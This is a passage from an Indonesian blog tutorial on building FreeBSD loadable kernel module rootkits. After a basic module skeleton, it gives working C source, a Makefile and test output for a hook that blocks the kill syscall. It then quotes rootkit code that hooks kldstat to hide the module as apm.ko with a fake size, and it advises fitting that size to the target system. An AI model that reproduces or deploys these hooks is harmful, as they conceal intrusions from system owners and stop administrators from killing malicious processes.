OS/ABI: UNIX - FreeBSD
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x740
Start of program headers: 52 (bytes into file)
Start of section headers: 3624 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 3
Size of section headers: 40 (bytes)
Number of section headers: 18
Section header string table index: 15
==============
snd_driver.ko merupakan ELF 32-bit LSB shared object
tiap elf object selalu ditandai 16 magic bytes yang berbeda untuk masing2 objek
====
Magic: 7f 45 4c 46 01 01 01 09 00 00 00 00 00 00 00 00
====
Untuk lebih detail tentang elf objects akan sy bahas dalam tulisan lain (krn ga sesuai dg permainan kali ini).
[Permainan ke 3. Pembuatan FreeBSD LKM]================================================== ===============================
Selanjutnya kita akan mulai mencoba membuat suatu kernel object (.ko) yang kemudian akan kita load dengan kldload (ekstensi tidak musti harus .ko).
Untuk memudahkan kita akan pakai bahasa C , untuk contoh2 source code lkm di freebsd bisa dilihat di /usr/share/examples/kld.
Sebelum membuat agar tidak terjadi kebingungan harus dipahami bahwa kode2 yang berjalan di
kernel space berbeda dengan kode2 yang berjalan di userspace.
Misal pada suatu program di userspace akan bersifat paralel di mana instruksi program akan berjalan dari atas ke bawah.
Sedangkan pada suatu kernel kode programmer harus memperhitungkan setiap kemungkinan yang terjadi , tidak berpikir secara paralel karena masing 2 fungsi
pada suatu modul kernel bisa diakses oleh proses yang berbeda2.
Sebelum mulai akan kita bahas sedikit tentang anatomi suatu LKM di FreeBSD.
[Anatomi Suatu LKM pada FreeBSD]
pada setiap lkm di freebsd memiliki struktur kurang lebih sbb:
1. bagian header file yang akan diinclude
misal seperti ini:
=============
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
=============
2. bagian penganganan load dan unload event (module event handler)
misal seperti ini:
=======
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}
=======
"static int load_module(struct module *module, int cmd, void *arg)" merupakan fungsi untuk menangani event
bisa kita liat prototype fungsi ini di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h
==============
typedef int (*modeventhand_t)(module_t, int /* modeventtype_t */, void *);
==============
event 2 yang ditangani oleh fungsi ini bisa kita lihat di atas prototype:
==============
typedef enum modeventtype {
MOD_LOAD,
MOD_UNLOAD,
MOD_SHUTDOWN,
MOD_QUIESCE
} modeventtype_t;
============
- MOD_LOAD : saat module diload ke kernel
- MOD_UNLOAD : saat module diunload
- MOD_SHUTDOWN : saat module shut down
- MOD_QUIESCE : saat module dipause
3. bagian pemberi nama untuk modul
misal seperti ini:
==============================
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
==============================
bisa kita liat deklarasi struktur untuk data modul di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h
====================================
/*
* Struct for registering modules statically via SYSINIT.
*/
typedef struct moduledata {
const char *name; /* module name */
modeventhand_t evhand; /* event handler */
void *priv; /* extra data */
} moduledata_t;
======================================
4. bagian deklarasi modul
makro untuk deklarasi modul bisa dilihat di /usr/src/sysent.h:
==============
DECLARE_MODULE(name, name##_mod, SI_SUB_SYSCALLS, SI_ORDER_MIDDLE)
==============
misal seperti ini:
===========================
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
===========================
terakhir menggunakan makro DECLARE_MODULE untuk meregister dan melink modul kita ke kernel.
ok kurang lebih bentuk lengkapnya:
nama file :"ev1lut10n.c"
=======================
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/libkern.h>
#include <sys/dirent.h>
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==========================
simpan dengan nama ev1lut10n.c lalu siapkan Makefile dg isi sbb:
==============
KMOD= ev1lut10n
SRCS= ev1lut10n.c
.include <bsd.kmod.mk>
==============
selanjutnya make:
========
127# make
Warning: Object directory not changed from original /root/Desktop/artikel/kernel
cc -O2 -pipe -fno-strict-aliasing -Werror -D_KERNEL -DKLD_MODULE -nostdinc -I. -I@ -I@/contrib/altq -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 -ffreestanding -fstack-protector -std=iso9899:1999 -fstack-protector -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -fformat-extensions -c ev1lut10n.c
ld -d -warn-common -r -d -o ev1lut10n.kld ev1lut10n.o
:> export_syms
awk -f /sys/conf/kmod_syms.awk ev1lut10n.kld export_syms | xargs -J% objcopy % ev1lut10n.kld
ld -Bshareable -d -warn-common -o ev1lut10n.ko ev1lut10n.kld
objcopy --strip-debug ev1lut10n.ko
=========
uji coba:
=============
127# kldload ./ev1lut10n.ko
modul diload
=============
cek dengan kldstat:
==================
127# kldstat
Id Refs Address Size Name
1 84 0xc0400000 bd97b4 kernel
2 1 0xc63ac000 9000 i915.ko
3 1 0xc63b5000 14000 drm.ko
4 1 0xc7119000 b000 ntfs.ko
5 1 0xcbcfc000 2000 snd_driver.ko
6 1 0xcbcfe000 5000 snd_vibes.ko
7 34 0xcbd12000 4c000 sound.ko
8 1 0xcbd5e000 4000 snd_via82c686.ko
9 1 0xcbd62000 7000 snd_via8233.ko
10 1 0xcbd69000 5000 snd_t4dwave.ko
11 3 0xcbd6e000 3000 snd_spicds.ko
12 1 0xcbd71000 5000 snd_solo.ko
13 4 0xcbd76000 4000 snd_sbc.ko
14 1 0xcbd7a000 4000 snd_sb8.ko
15 1 0xcbd80000 4000 snd_sb16.ko
16 1 0xcbd84000 11000 snd_neomagic.ko
17 2 0xcbd95000 a000 snd_mss.ko
18 1 0xcbda3000 a000 snd_maestro3.ko
19 1 0xcbdad000 8000 snd_maestro.ko
20 1 0xcbdb5000 6000 snd_ich.ko
21 1 0xcbdbb000 1a000 snd_hda.ko
22 1 0xcbe6f000 4000 snd_fm801.ko
23 1 0xcbe73000 5000 snd_ess.ko
24 1 0xcbe78000 8000 snd_es137x.ko
25 1 0xcbe80000 7000 snd_envy24ht.ko
26 1 0xcbe87000 8000 snd_envy24.ko
27 1 0xcbe9e000 12000 snd_emu10kx.ko
28 1 0xcbeb0000 b000 snd_ds1.ko
29 2 0xcbe93000 7000 snd_csa.ko
30 1 0xcbebb000 5000 snd_cs4281.ko
31 1 0xcbed1000 5000 snd_cmi.ko
32 1 0xcbed6000 6000 snd_atiixp.ko
33 1 0xcbedc000 5000 snd_als4000.ko
34 1 0xcbee2000 4000 snd_ad1816.ko
35 1 0xcbeef000 2000 ev1lut10n.ko ------------------------------- modul ev1lut10n telah diload
127#
================
dan saat diunload:
=========
127# kldunload ev1lut10n.ko
modul diunload
==========
[Permainan ke 4. Teknik pada FreeBSD LKM Rootkit - Teknik Hooking]
Teknik hooking merupakan teknik yang banyak dipakai oleh para pembuat rootkit, Hooking merupakan teknik yang bertujuan untuk mengubah flow
dari suatu sistem operasi / software / API / library / Netfilter dsb.
[Teknik Syscall Hooking]
teknik ini banyak dipakai pada lkm rootkit. syscall merupakan mekanisme suatu program di userspace untuk meminta layanan dari kernel space.
Teknik ini bertujuan memodifikasi suatu syscall entry point. Nomor2 syscall secara semantik didefinisikan di /usr/include/sys/syscall.h
prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef int sy_call_t(struct thread *, void *);
===========
FreeBSD mendefinisikan entri point syscall pada suatu struktur bernama "sysent"
/usr/src/sys/sysent.h
===============
* $FreeBSD: src/sys/sys/sysent.h,v 1.60.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
};
=============
selanjutnya didefenisikan suatu array dari struktur di file /usr/src/sys/kern/init_sysent.c
/usr/src/sys/kern/init_sysent.c
================
/*
* System call switch table.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/kern/init_sysent.c,v 1.253.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys, AUE_NULL, NULL, 0, 0, 0 }, /* 0 = syscall */
{ AS(sys_exit_args), (sy_call_t *)sys_exit, AUE_EXIT, NULL, 0, 0, 0 }, /* 1 = exit */
{ 0, (sy_call_t *)fork, AUE_FORK, NULL, 0, 0, 0 }, /* 2 = fork */
{ AS(read_args), (sy_call_t *)read, AUE_NULL, NULL, 0, 0, 0 }, /* 3 = read */
{ AS(write_args), (sy_call_t *)write, AUE_NULL, NULL, 0, 0, 0 }, /* 4 = write */
{ AS(open_args), (sy_call_t *)open, AUE_OPEN_RWTC, NULL, 0, 0, 0 }, /* 5 = open */
=======================snipped (dipotong krn terlalu panjang)===========================
{ AS(setuid_args), (sy_call_t *)setuid, AUE_SETUID, NULL, 0, 0, 0 }, /* 23 = setuid */
{ 0, (sy_call_t *)getuid, AUE_GETUID, NULL, 0, 0, 0 }, /* 24 = getuid */
{ 0, (sy_call_t *)geteuid, AUE_GETEUID, NULL, 0, 0, 0 }, /* 25 = geteuid */
{ AS(ptrace_args), (sy_call_t *)ptrace, AUE_PTRACE, NULL, 0, 0, 0 }, /* 26 = ptrace */
{ AS(recvmsg_args), (sy_call_t *)recvmsg, AUE_RECVMSG, NULL, 0, 0, 0 }, /* 27 = recvmsg */
{ AS(sendmsg_args), (sy_call_t *)sendmsg, AUE_SENDMSG, NULL, 0, 0, 0 }, /* 28 = sendmsg */
{ AS(recvfrom_args), (sy_call_t *)recvfrom, AUE_RECVFROM, NULL, 0, 0, 0 }, /* 29 = recvfrom */
{ 0, (sy_call_t *)pipe, AUE_PIPE, NULL, 0, 0, 0 }, /* 42 = pipe */
{ 0, (sy_call_t *)getegid, AUE_GETEGID, NULL, 0, 0, 0 }, /* 43 = getegid */
{ AS(pselect_args), (sy_call_t *)pselect, AUE_SELECT, NULL, 0, 0, 0 }, /* 522 = pselect */
};
=======================================
kita bisa melihat bahwa tabel sycall di FreeBSD merupakan array dari struktur yang didefinisikan di
/usr/src/sys/kern/init_sysent.c
untuk semantik nomor2 syscall didefinisikan di /usr/src/sys/sys/syscall.h:
===================
/*
* System call numbers.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/sys/syscall.h,v 1.233.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
#define SYS_syscall 0
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
cutted..................
==================
untuk mempermudah akan saya berikan contoh fungsi hooking syscall yang paling pendek dan simple.
pada dasarnya tiap syscall bisa dihook dengan fungsi pendek seperti ini:
============
static int nama_fungi_hooking(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
=============
yang mana pada saat modul diload kita registerkan ke struktur array sysent
tekniknya kurang lebih seperti ini:
==============
case MOD_LOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)nama_fungsi_hooking;
===================
saat modul diunload struktur bisa kita kembalikan seperti semula dengan syscall asli.
=========================
case MOD_UNLOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)syscall_asli;
==============
ok untuk lebih jelasnya perhatikan contoh simple kill hook lkm yang bertujuan untuk
melakukan hooking syscall SYS_kill:
(di ini kita tambahkan 3 header lagi yaitu:
/usr/include/sys/module.h
/usr/include/sys/sysent.h
/usr/include/sys/syscall.h)
file name: kill_hook.c
=============================
/**ev1lut10n simple kill hook lkm
c0d3r: ev1lut10n
**/
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/syscall.h>
static int kill_hook(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
break;
case MOD_UNLOAD:
uprintf("modul diunload");
sysent[SYS_kill].sy_call = (sy_call_t *)kill;
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==============================
siapkan Makefile dengan menginclude bsd.kmod.mk
==========
KMOD= read_hook
SRCS= read_hook.c
.include <bsd.kmod.mk>
========
selanjutnya lakukan uji coba:
===================
ev1lut10n# kldload ./kill_hook.ko
modul diload
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ds 2:48AM 0:00.04 csh
root 2110 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2111 0.0 0.1 4632 2504 2 DV+ 3:23AM 0:00.00 csh
ev1lut10n# kill -9 1675
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ss 2:48AM 0:00.04 csh
root 2112 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2113 0.0 0.0 3292 836 2 S+ 3:23AM 0:00.00 tail
ev1lut10n#
=======================

kita bisa lihat uji coba kill pid 1675 tidak bisa dilakukan karena syscall kill telah dihook dengan
fungi kill_hook (dengan prototype syscall) yang telah kita siapkan dan kita sisipkan saat MOD_LOAD:
==========
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
=========
contoh selanjutnya misal hooking syscall SYS_kldstat :
======
#define SYS_kldstat 308
======
maka untuk melakukan hooking dengan meregisterkan fungsi hooking kita pada struktur sysent :
=================
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
=================
di mana kldstat_hook:
================================================== ==============
/* potongan kode ini merupakan potongan kode hooking kldstat pada turtle freebsd rootkit
by WarGame/EOF - wargame89@yahoo.it */
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */
{
int ret = kldstat(td,args);
size_t fake_size = 24264; /* the size of apm.ko on my system */
if(strcmp(args->stat->name,MOD_NAME) == 0)
{
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
#if VERBOSE
printf("Turtle2: blocking kldstat()\n");
#endif
}
return ret;
}
================================================== ===============
untuk melakukan kldstat hooking kita bisa melihat penggunaan prototype untuk syscall:
prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef int sy_call_t(struct thread *, void *);
===========
yaitu:
=====================
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */s
=====================
di ini menggunakan static agar prototype fungi kldstat_hook dengan nilai kembali int bisa dikenali saat
melakukan regiter ke struktur sysent di modul event handler:
perhatikan saat MOD_LOAD event:
==========
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
===========
selanjutnya di sini kita lihat :
==================
int ret = kldstat(td,args);
==================
yang digunakan untuk menangani request SYS_kldstat yang berasal dari userspace.
yang diikuti dengan
=============================
size_t fake_size = 24264;
=============================
size_t merupakan ukuran suatu objek (variabel / aray / dll) di memori di mana ukuran apm.ko didefinisikan berukuran
24264 (dalam byte) merupakan ukuran file apm.ko yang harus diseuaikan di tiap sistem.
jadi alangkah baiknya jika disesuaikan dengan ukuran file apm.ko di target.
=================
ev1lut10n# ls -lah /boot/kernel/apm.ko
-r-xr-xr-x 1 root wheel 24K Feb 18 2011 /boot/kernel/apm.ko
ev1lut10n#
===================
untuk menyesuaikan bisa menggunakan suatu program userspace dengan logika:
=============
1. mencatat ukuran apm.ko di sistem target
2. mereplace ukuran apm.ko (24264 bytes) pada source code lkm yang belum diinstall
3. selanjutnya baru melakukan kompilasi untuk menciptakan .ko (dengan menginclude bsd.kmod.mk)
4. selanjutnya tinggal pemasangan lkm dengan kldload
=============
============
if(strcmp(args->stat->name,MOD_NAME) == 0)
=================
selanjutnya membandingkan args->stat->name dengan MOD_NAME jika match maka dilakukan copyout
=======================================
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
=======================================
penggunaan "copyout" yang berguna untuk mengkopi data dari kernel space
ke userspace, akan ditampilkan sebagai apm.ko (/boot/kernel/apm.ko) pada saat syscall SYS_kldstat pada tool kldstat.
perhatikan gambar di bawah ini:

untuk mencoba pada syscall2 lain bisa Anda lihat daftar syscall pada:
======
/usr/include/sys/syscall.h
======
teknik di atas hanyalah salah satu teknik untuk memblok kldstat, kita masih bisa menggunakan teknik lain.
0 komentar:
Post a Comment